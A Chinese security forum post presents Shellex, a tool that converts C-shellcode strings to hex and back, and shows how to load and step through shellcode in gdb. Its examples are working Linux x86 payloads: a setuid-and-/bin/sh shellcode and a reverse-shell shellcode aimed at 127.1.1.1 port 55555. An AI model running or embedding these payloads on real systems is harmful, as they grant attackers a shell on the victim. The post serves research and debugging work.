安全矩阵

 找回密码
 立即注册
搜索
查看: 2695|回复: 0

Shellex:一款针对shellcode的转换与处理工具

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-3-10 20:33:43 | 显示全部楼层 |阅读模式
原文链接:Shellex:一款针对shellcode的转换与处理工具
Shellex
Shellex是一款功能强大的C-shellcode转换器,可以帮助广大研究人员将C-shellcode转换为十六进制代码,并且能够在gdb、windbg、radare2、ollydbg、x64dbg、immunity调试器和010编辑器中粘贴和执行shellcode。
在Shellex的帮助下,广大研究人员可以将C-shellcode代码转换为十六进制代码,并且还可以在C编译器中编译时进行转换,整个过程只需要执行Shellex,并将shellcode代码拷贝进去并按下回车键即可。
比如说,我们可以转换多行混合了ASCII代码的C-shellcode(注意混合部分\x68//sh\x68/bin\x89):

  1. <code>"\x6a\x17\x58\x31\xdb\xcd\x80"</code>
  2. <code>"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"</code>
复制代码

Shellex输出如下:
  1. 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
复制代码


转换包含注释代码的C-shellcode:


  1. <code>"\x68"</code>
  2. <code>"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1</code>
  3. <code>"\x5e\x66\x68"</code>
  4. <code>"\xd9\x03"          // <- Port: 55555</code>
  5. <code>"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"</code>
  6. <code>"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"</code>
  7. <code>"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"</code>
  8. <code>"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"</code>
  9. <code>"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"</code>
  10. <code>"\xeb\xce"</code>
复制代码

Shellex输出如下:

  1. 68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE
复制代码


如果你需要Shellex输出新的C-shellcode字符串,可以使用-h参数,比如说:

  1. <code>./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80</code>
  2. <code>\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80</code>
复制代码


Shellex安装首先,广大研究人员需要使用下列代码将该项目源码克隆至本地:

  1. git clone https://github.com/David-Reguera-Garcia-Dreg/shellex.git
复制代码


针对Windows:
  1. shellex\bins\shellex.exe
复制代码


针对Linux:
  1. <pre>
  2. </pre><pre><code>sudo apt-get install tcc</code>
  3. <code>shellex/linuxbins/shellex</code></pre>
复制代码


在gdb中复制和执行shellcode首先,我们需要运行Shellex。
接下来,输入我们的shellcode:

  1. <code>"\x6a\x17\x58\x31\xdb\xcd\x80"</code>
  2. <code>"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"</code>
复制代码

按下回车键后,再按下Control+D键。
使用shellex -h命令将Shellex输出转换为C-Hex字符串:
  1. shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
复制代码


将C-Hex字符串以源码形式(包含“echo”命令)写入至文件:
  1. echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
复制代码


接下来,将源码文件写入当前指令指针。
32位:

  1. <code>restore /tmp/sc binary $eip</code>
  2. <code>x/30b $eip</code>
  3. <code>x/15i $eip</code>
复制代码
64位:

  1. <code>restore /tmp/sc binary $rip</code>
  2. <code>x/30b $rip</code>
  3. <code>x/15i $rip</code>
复制代码
x/30b是shellcode的字节大小,我们可以使用下列命令获取到大小值:

  1. wc -c /tmp/sc
复制代码


x/15i是显示的指令数量,我们可以使用ndisasm获取正确的数量:
  1. sudo apt-get install nasm
复制代码


32位:
  1. <code>ndisasm -b32 /tmp/sc</code>
  2. <code>ndisasm -b32 /tmp/sc | wc -l</code>
复制代码
64位:
  1. <code>ndisasm -b64 /tmp/sc</code>
  2. <code>ndisasm -b64 /tmp/sc | wc -l</code>
复制代码
无交互模式在Linux中转换“\x6a\x17\x58\x31\xdb\xcd\x80”:
  1. echo ""\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80"" | shellex
复制代码


在Windows中转换“\x6a\x17\x58\x31\xdb\xcd\x80”:
  1. echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe
复制代码


Windows下写入多行文件:
  1. <code>C:\Users\Dreg\Desktop\shellex\bins>type sc.txt</code>
  2. <code>"\x6a\x17\x58\x31\xdb\xcd\x80"</code>
  3. <code>"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"</code>
  4. <code>C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe</code>
复制代码
Linux下写入多行文件:

  1. <code>dreg@fr33project# cat sc.txt</code>
  2. <code>"\x6a\x17\x58\x31\xdb\xcd\x80"</code>
  3. <code>"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"</code>
  4. <code>dreg@fr33project# cat sc.txt | shellex</code>
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 23:19 , Processed in 0.018699 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表